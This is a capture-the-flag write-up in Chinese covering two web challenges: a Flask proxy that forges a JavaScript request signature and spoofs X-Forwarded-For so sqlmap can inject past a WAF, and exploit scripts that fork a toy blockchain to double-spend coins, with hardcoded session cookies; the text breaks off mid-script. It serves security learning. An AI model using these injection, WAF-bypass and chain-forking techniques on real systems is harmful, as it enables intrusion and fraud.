Web1 数据库的秘密
很容易想到伪造XFF
接下来就是注入了。
首先,我们发现有个校验
然后,看了下js,貌似有点复杂,这里采用
sqlmap+python代理服务器(代理服务器处理校验的代码,通过python的execjs模块调用js代码)
后又遇到了安全狗,使用from-data
提交数据,达到绕过
代理服务器main.py
from flask import Flask,request
import requests
import execjs
import urllib
app = Flask(__name__)
def get_js():
f = open("./crc.js", 'r')#, encoding='UTF-8')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr + line
line = f.readline()
return htmlstr
jsstr = get_js()
ctx = execjs.compile(jsstr)
@app.route('/')
def index():
id = request.args.get('id')
title = request.args.get('title')
date = request.args.get('date')
author = request.args.get('author')
print request.args.items().__str__()
crc_str = ctx.call('submitgg', id, title, date, author)
print crc_str
url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/" + crc_str
# data = {
# 'id':id,
# 'title':title,
# 'date':date,
# 'author':author,
# }
data = {
'id':id,
'title':title,
'date':date,
'author':author,
}
print data
files = {
'button': 'search',
}
try:
r = requests.post(url=url, headers={"X-Forwarded-For": "123.232.23.245"}, data=data, files=files)
except Exception as e:
print e
return e
return r.content
if __name__ == "__main__":
app.run(debug=True)
crc.js
/*
* A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
* in FIPS PUB 180-1
* Version 2.1-BETA Copyright Paul Johnston 2000 - 2002.
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for details.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */
var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_math_enc(s) {
return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
return binb2str(core_hmac_math_enc(key, data));
}
/*
* Perform a simple self-test to see if the VM is working
*/
function math_enc_vm_test() {
return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
* Calculate the SHA-1 of an array of big-endian words, and a bit length
*/
function core_math_enc(x, len) {
/* append padding */
x[len >> 5] |= 0x80 << (24 - len % 32);
x[((len + 64 >> 9) << 4) + 15] = len;
var w = Array(80);
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
var e = -1009589776;
for (var i = 0; i < x.length; i += 16) {
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
var olde = e;
for (var j = 0; j < 80; j++) {
if (j < 16) w[j] = x[i + j];
else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
e = d;
d = c;
c = rol(b, 30);
b = a;
a = t;
}
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
e = safe_add(e, olde);
}
return Array(a, b, c, d, e);
}
/*
* Perform the appropriate triplet combination function for the current
* iteration
*/
function math_enc_ft(t, b, c, d) {
if (t < 20) return (b & c) | ((~b) & d);
if (t < 40) return b ^ c ^ d;
if (t < 60) return (b & c) | (b & d) | (c & d);
return b ^ c ^ d;
}
/*
* Determine the appropriate additive constant for the current iteration
*/
function math_enc_kt(t) {
return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
* Calculate the HMAC-SHA1 of a key and some data
*/
function core_hmac_math_enc(key, data) {
var bkey = str2binb(key);
if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
var ipad = Array(16),
opad = Array(16);
for (var i = 0; i < 16; i++) {
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y) {
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function rol(num, cnt) {
return (num << cnt) | (num >>> (32 - cnt));
}
/*
* Convert an 8-bit or 16-bit string to an array of big-endian words
* In 8-bit function, characters >255 have their hi-byte silently ignored.
*/
function str2binb(str) {
var bin = Array();
var mask = (1 << chrsz) - 1;
for (var i = 0; i < str.length * chrsz; i += chrsz)
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
return bin;
}
/*
* Convert an array of big-endian words to a string
*/
function binb2str(bin) {
var str = "";
var mask = (1 << chrsz) - 1;
for (var i = 0; i < bin.length * 32; i += chrsz)
str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
return str;
}
/*
* Convert an array of big-endian words to a hex string.
*/
function binb2hex(binarray) {
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for (var i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
}
return str;
}
/*
* Convert an array of big-endian words to a base-64 string
*/
function binb2b64(binarray) {
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for (var i = 0; i < binarray.length * 4; i += 3) {
var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
for (var j = 0; j < 4; j++) {
if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
}
}
return str;
}
function signGenerate(obj, key) {
var str0 = '';
for(i in obj){
if(i!='sign'){
str1='';
str1=i+'='+obj[i];
str0+=str1
}
}
return hex_math_enc(str0+key)
};
var obj={id:'',title:'',author:'',date:'',time:parseInt(new Date().getTime()/1000)};
function submitt(){
obj['id']=document.getElementById('id').value;
obj['title']=document.getElementById('title').value;
obj['author']=document.getElementById('author').value;
obj['date']=document.getElementById('date').value;
var sign=signGenerate(obj,key);
document.getElementById('queryForm').action="index.php?sig="+sign+"&time="+obj.time;
document.getElementById('queryForm').submit()
}
function submitgg(id, title, date, author){
obj['id']=id;
obj['title']=title;
obj['author']=author;
obj['date']=date;
// return obj;
var sign=signGenerate(obj,key);
return "index.php?sig="+sign+"&time="+obj.time;
}
这里,我们为了方便输入在js中添加了个submitgg
函数,其他直接复制题目给的js。
运行代理服务器,此时可以
OK,将代理服务器的链接用于sqlmap
Web 4 mini blockchain
某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9af31f66147e'
def FLAG():
return 'Here is your flag: DDCTF{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
tot_output = sum([utxo['amount'] for utxo in tx['output']])
if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tot_input = 0
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
if tot_output > tot_input:
raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
@app.route(url_prefix+'/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0: return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)
def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0: return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
题目给的区块链是有三个区块,
1. 创世块银行1000000个币
2. 黑客转走999999个币,给银行留下1个币
3. 再有一个空的区块
然后让你买2个钻石。
OK,只要往商店的地址转钱,当该地址有1000000个币时,会给你一个钻石。注意到,这个钻石是储存在session['your_diamonds']
中。
然后,添加一个区块,记录将商店中的币转走到冷钱包中。
这里的主要问题在于,只有你在挖矿,即你可以控制全网算力(100%>51%),所以你可以在任何地方进行分叉,否认之后所有的交易(否认一条,后面的都不成立的)。
对了,这里还有个后门,当然,可用可不用
分析下做法
利用后门
# -*- encoding: utf-8 -*-
import btc
import rsa, uuid, json, copy
import requests
import re
txout_id = str(uuid.uuid4())
proxies = {"http":"http://127.0.0.1:8080"}
url_prefix = "http://localhost:5000/b9af31f66147e"
ss = requests.session()
ss.cookies.set("session",".eJzNVtuOm0gU_JWVn-cBGvCYSHmwF4yw0o2w2ybdURRxM9CAZzT2BLuj-fctnE1WGa_ysNqs1iOLy-BzqapThy-TrHvI2-PkzZeJXVhklhalmZF9XpSFOzNSZzorZ7lNSiM3nH3mGoa5n7r394W7n-5LYrolscneSqczwxlj1OmxHo-_ZZM3ExbEmqq6lsH2LNSqF2TdSa-1aeCbTNVdFFCD9ttB6Lkp-9Ch3vwslXCYLtooEUT22wvlXUdVfJGK1UxVA4vfvp283E3qsqnq0-SNcTc5PBzy8nvSXVB34XL9mCU7HXpz_c54rLNmdkFwJ_TZg0gcJZPzMbPCKiN2JQ6rx6w_4lxUOdmpjDhtGKzqNDl_Lt7Hlezdy3iNZ66JH5_Kz9-TIejwr3_nXzs8PaWHY5qfmocD6Plwgy0FhrEe8Yq8VSv60JReeGaKWtSLbeYJOwr8QSTUlHx-obrF9dZhaqFwX1OyAy_rJuLUFMBYJqymf2LbHB6fAe2Hj3eTh-fT1_Mvk7Qonr6nj_iuoQGSJ8se1IGeykFKU4A6hOqQFoi3juhXLQtC0BgbDGVFQajxTM10PDAeapqwRirfll6Hez6RfN2AZoOhHcp9O_IQl8dogTqCQC68RS5fj2Wm_cPzAbWZxvVz9yNAomcNgHBYInFc9ADAkNwnTFca1VhStSaE6VC1UlLF9ig-ZBhYsm4kr8wIX8rnDtWxZoCLKTHIbwAVf_HghSZCOkJVJ0ZCEv1uGFFC9TveQr_iRPVCid63RbJWjFf25OUFsB6b6pCenp_KEeWXjwjpZnvDyY29k6XWdEoc23Hv9_k0S2dmapV56dozgv-XRe6Y2axMzXvLcrKpm6VpZs6IezN8UbLqqbdTNAArva9R_2VEMuJFL7RsBK_OgoMpAlF41YUldJDXIpdNFOxqynNN9Q5sdA1YbiivLtGr4SOvh09sFl32fmGUm0WTBa5Kh7e3QyN0bAnAI5KVosofMOrmtSJUifMzRr4RxLcpWcIuYAEaLAQhAUtnoaGDXtaRN7ehEWhi1bAEco7_dmhGZHP7PnWnaZYT03D3DjAFxO7eNN0sT2dWWhYOsQzXyKZ728wtEJHOjNk0c_Msc1LLvEH2V9b_DVnzNbIbfxnGm6HabBYLvllsN_62ittltLksIm7m9Q3Kv9J8f25N1MvR63ZgwbqWSvaUb4FXfKZe3WL-YTeYOG9OqCowea3FlIQHACu-qKFQKwpwJ_DP8A0Dv9PwhoZWP1rTP56-n3malw8MXTMiiNDrDqiBJx8uMCLpXyTvcN2aSDpQvmqoEmdG4GtaYlp8B51aVMOzOL3IQIB3f5B8O8A74JHCEAroeznseVEDdUeq3BZ6NfZsMt7-4Gnu9fPK0qSX2zBAQpEAxojxrAyqV42EoCggp4lsKVn1ABUFbAFcAfPd2lJ1aKbumDc3Wb-EJaz7UXxM152sbixNerKPPEy-J07X48aA74bnd4lvIPRJjusDvk2vvj8fLe3u_7weXqFIg2UXcTzNsR1VV4-1Ic5FqC1yAyW1bqmqNJ7QjFOgB9l6kKNuUTO2bo-FgN9RHdqip0bEIfJbFAXkKJMxJIUMfS0hTYQgkKZJR7lyYVOonnm5CYKa28XwDcsgHKS3bDBOwHLXj4soCpY181hLOaQFo5cwcqZD2A9MXFUYNyhCC9QXnyWoY96iixIowYMZgA_Bl1iIW1MoOWJNmOej2wKLEmbAYWMexpXg7SDYDpgZ_KG5qjyUx-b46frG-Ok_e9O7PDw_fSoa0Hko4DbGyx8gEXQk.Db7w9Q.hqEXHtLsqopnbFpfz5UTfgca8LM")
r = ss.get(url=url_prefix+"/",proxies=proxies)
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = btc.hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
#构造一个空块
def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, btc.DIFFICULTY, msg)
return b
def myprint(b):
print(json.dumps(b))
print(len(json.dumps(b)))
def send_to_server(b):
data = json.dumps(b)
r = ss.post(url = url_prefix+"/create_transaction",data = data, headers = {"content-type":"application/json"},proxies = proxies)
print r.content
def backdoor():
r = ss.get(url = url_prefix+"/5ecr3t_free_D1diCoin_b@ckD00r/"+shop_address, proxies = proxies)
print r.content
pass
shop_address = "c4a5cb163786cc944c488df9c8a5143356aecc87a8854c76fbb76f5715b947d7be5ddcc9c69d46b904a857ee9437c71b"
## 创世块的hash
prev_block_hash = "4d328ade1b2fcded980a568e8c42e0c05fb9001f6977d9f6fe219e242f3a6805"
# 空块
print("empty block 1")
block1 = empty_block("empty block",prev_block_hash)
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
send_to_server(block1)
# 空块
print("empty block 2")
block2 = empty_block("empty block",block1['hash'])
block2 = pow(block2, btc.DIFFICULTY)
myprint(block2)
send_to_server(block2)
# 空块
print("empty block 3")
block3 = empty_block("empty block",block2['hash'])
block3 = pow(block3, btc.DIFFICULTY)
myprint(block3)
send_to_server(block3)
# 长度超过原链
# 触发后门,银行转币到商店
print("hit backdoor")
backdoor()
# 商店转走币,给你一颗钻石(这需要一次创建块才能触发,我们在分叉2中触发就OK)
# 空块
print("empty block 4, you will receive a diamond")
block4 = empty_block("empty block",block3['hash'])
block4 = pow(block4, btc.DIFFICULTY)
myprint(block4)
send_to_server(block4)
# 空块
print("empty block 5")
block5 = empty_block("empty block",block4['hash'])
block5 = pow(block5, btc.DIFFICULTY)
myprint(block5)
send_to_server(block5)
# 空块
print("empty block 6")
block6 = empty_block("empty block",block5['hash'])
block6 = pow(block6, btc.DIFFICULTY)
myprint(block6)
send_to_server(block6)
# 触发后门,银行转币到商店
print("hit backdoor 2")
backdoor()
# 创建空块,触发商店转走币,给你一颗钻石
print("empty block 7")
block7 = empty_block("empty block",block6['hash'])
block7 = pow(block7, btc.DIFFICULTY)
myprint(block7)
send_to_server(block7)
r = ss.get(url_prefix + "/flag",proxies=proxies)
print r.content
不利用后门
# -*- encoding: utf-8 -*-
import btc
import rsa, uuid, json, copy
import requests
import re
genesis_block = "f91baf7a24ab07a0361e27e8527ec951feecc8cd4a67ef75e45059cf09dcdf76"
hacker_input = "08e90dc1-2545-43fd-8ee4-c02b87d92899"
hacker_signature = "5415d3901c9e497344e62aa7515d64e79ab5ef1d77556187b22f7c3909555f38579f39b2a07e6d84addd40eebdc55757"
shop_address = "c4a5cb163786cc944c488df9c8a5143356aecc87a8854c76fbb76f5715b947d7be5ddcc9c69d46b904a857ee9437c71b"
txout_id = str(uuid.uuid4())
proxies = {"http":"http://127.0.0.1:8080"}
url_prefix = "http://localhost:5000/b9af31f66147e"
ss = requests.session()
ss.cookies.set("session",".eJzNVtuK20gU_JXFz_PQrcvYDuyDjWwjk26hcctK9xKCbpbUkjzD2BNZCvPvWz25bTxhYWGzrMDogtynuk5VHX2apO191pwmbz5NKKFTJ6e3lpsRu8imNk1ca55T256RWTIlc8eeUTpz7flhmsyy1KK3Bc1vp3mWZ_aBZGaNKjlV5vxbOnkzYWJx4eNdw4QceMx6Zu01H9lFimgI4vDCRuYwr6r4uHC5h2uxcrhgrtJ5FWx4zfTKUmLdcJ030rrTzJK97H__ffJ8M6mKuqzOkzfWzeR4f8yKb0Xlbtmm75ak2C3rdDPXyZc_PDwWH78j000fbCRlne8GBt247oCQSLGuVMwbJVY208uaj0AnGpeNkaNEA3RbrUREuBVegKxmG95yIFObu1otPhc6PybHU5Kd6_sjaP3jPR5ZczI7uFY6n99aU3pwMyehSZHlBZ1aJJ3OEnc-t91ZMZ-5Vla4zjSnBU1JVhhu8zR_zewvxP-VWXrN7G619sNdX-52y6XYLaPdKirDZh3shmUgaFa9Ylnp5iI7ILNWA9-gmpdXzGMWi6OBWxHQ-LaKmcvFulPxXsux0sq7q9DvVumMKhFS5kWuRN-D2KCUNi9_yvI1P90dFMRIIO5qrkuLi7zjXjOAFwokDfeykVv7Sgog1JHLu3XFRihS85rH_iA1UG2MEhuqOlx3oc2_CKk-PjydX0p-LuVVbSCWjRxXZ6ZB7Y4QZqnmrahabOAsxwWWK22F8oHXuJPn9zeT-6fz10WSPH_8hjvwsp53hh3sebxrpd5WgbeiTIQj3AD8Le4byj2_Z2ILh8gLekn4qCq4xwVWm40rJxBsAFsDrnv0G87jneokkbqB4zKbecsKwLC_zJHjFhoJKXQymv0l3f3TEdjmL8fNj8Qqb98ytI3rkKgXkrddEENsncJzNkod2rC2wy02SNgZ7ID4lSvjbcu90uEb2BhChCxaLqQhmcgvLa3zvygnvEiLoyfROfAWhNeEIBFakKrRm3MQIy3GJZSCdNFtPXl-vrmmUuwhb6VlDHF1_qB0iZCRVI55A4u0MmYDQz9kt234xh9AMeFe6AQbf8Q7CKWwh0BHFvNa6ZWjvBbPTCC9SIrwzqcmsAIP64I-heCSFiPYHWqtfqCSXrEYGFGPygSaxUa_N5hYB4Y2aLtoLBWvejBjqQ621aqFJC0eGwmENot91Nw2L-Eqqk6JJWhCzcUrFpmIkAJQTyfPsmOOMtIE3LdoRuD5ZxmHoKN0mc471oUELEKbp7o8Juenx-K7xrG_i6kfoKYcW3SygcygAESPRPc5bKU8ifsMnfapiuVFQWZcRBYTpS214T_XwNkHIqI8liM4gFJwNnYTC1sJ1QQwP6II9ly2Kt7CU3h3jGx45tnk6GFO0wTDx3KSlEwTYt_SwpoWSM1pkc1deiiKLJtluZPcTovD1C0cl7jz7EDmyNHD9PZVjv7KhPqao-Q6R_ebqvXXdw9pvB99bzG-JQ9VWs-gxoXrr_i9jF2t4ssptf0ytZxSHrcPaXfCtSwzjNDUcht_s62S-PIxfxeWqpsP5h7v_GTSeYv-X__9fNJdc-uVaLrsmcZZ-K4SJTHZBFHA29vKyJ97Rtwc-WMEsED--hdk4Mg2mE-6hch9UxFxsUKAIlzLHzP476L0_-R_8nLcXA8piVDz4QI2YILUDK4BIkPEoLwthBgNbMN6rhszDvAptYdNEdadCXhJsTczoLArgy7qAw8fVK-z9J8PqOsUMObDmmVxLE716cPLF-OH_8xHw_3T44e8BpfHHDIjz38CpAVruA.Db75Tw.QeSMoxmB0xyGIo4lNdIZIxxJbXw")
r = ss.get(url=url_prefix+"/",proxies=proxies)
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = btc.hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
#构造一个空块
def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, btc.DIFFICULTY, msg)
return b
def myprint(b):
print(json.dumps(b))
print(len(json.dumps(b)))
def send_to_server(b):
